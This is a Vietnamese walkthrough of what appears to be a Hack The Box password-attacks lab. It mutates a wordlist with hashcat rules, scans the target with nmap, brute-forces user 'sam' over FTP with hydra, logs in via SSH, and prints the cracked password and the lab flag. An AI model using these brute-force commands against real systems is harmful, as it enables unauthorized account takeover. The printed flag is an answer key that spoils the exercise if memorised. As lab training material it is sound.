1. Create a mutated wordlist using the files in the ZIP file under "Resources" in the top right corner of this section. Use this wordlist to brute force the password for the user "sam". Once successful, log in with SSH and submit the contents of the flag.txt file as your answer.

Tạo ra 1 file list khanh\_password.list mới dựa trên 2 file password.list và custom.rule

```bash

hashcat --force /root/Password-Attacks/password.list -r /root/Password-Attacks/custom.rule --stdout | sort -u > khanh\_password.list

```

A screenshot of a computer

Description automatically generated

File list khanh\_password.list đang bị trùng các từ nên ta cần chỉnh lại list sao mỗi từ chỉ xuất hiện 1 lần

Ta quét các dịch vụ đang mở ở máy mục tiêu .

```bash

┌──(root㉿lyquockhanh)-[~]

└─# nmap -sC -sV 10.129.127.31

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-19 04:35 EST

Stats: 0:00:30 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan

NSE Timing: About 96.88% done; ETC: 04:36 (0:00:00 remaining)

Nmap scan report for 10.129.127.31 (10.129.127.31)

Host is up (0.35s latency).

Not shown: 996 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 3072 3f:4c:8f:10:f1:ae:be:cd:31:24:7c:a1:4e:ab:84:6d (RSA)

| 256 7b:30:37:67:50:b9:ad:91:c0:8f:f7:02:78:3b:7c:02 (ECDSA)

|\_ 256 88:9e:0e:07:fe:ca:d0:5c:60:ab:cf:10:99:cd:6c:a7 (ED25519)

139/tcp open netbios-ssn Samba smbd 4.6.2

445/tcp open netbios-ssn Samba smbd 4.6.2

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux\_kernel

Host script results:

|\_clock-skew: 2s

| smb2-time:

| date: 2025-01-19T09:36:13

|\_ start\_date: N/A

| smb2-security-mode:

| 3:1:1:

|\_ Message signing enabled but not required

|\_nbstat: NetBIOS name: NIX01, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 31.70 seconds

```

Máy chủ đích đang mở các dịch vụ ftp , ssh ,smbd

Ta vét cạn tài khoản mật khẩu qua giao thức ftp sẽ nhanh hơn vét cạn qua giao thức ssh

```bash

sort khanh\_password.list | uniq > sorted\_khanh\_password.list

```

```bash

sed -r '/^.{,7}$/d' sorted\_khanh\_password.list > sorted\_khanh\_password\_final.list

```

```bash

hydra -l sam -P sorted\_khanh\_password\_final.list ftp://10.129.79.39 -t 64

```

A screenshot of a computer screen

Description automatically generated

Ta tìm được username : sam và password : B@tm@n2022!

Kết nối với máy chủ đích thông qua giao thức SSH

```bash

ssh sam@10.129.79.39

```

Sau khi kết nối thành công ta dùng câu lệnh để tìm nơi chứa flag.txt

```bash

find / -name flag.txt

```

A screenshot of a computer screen

Description automatically generated

A black background with white text

Description automatically generated

P/s:HTB{P455\_Mu7ations}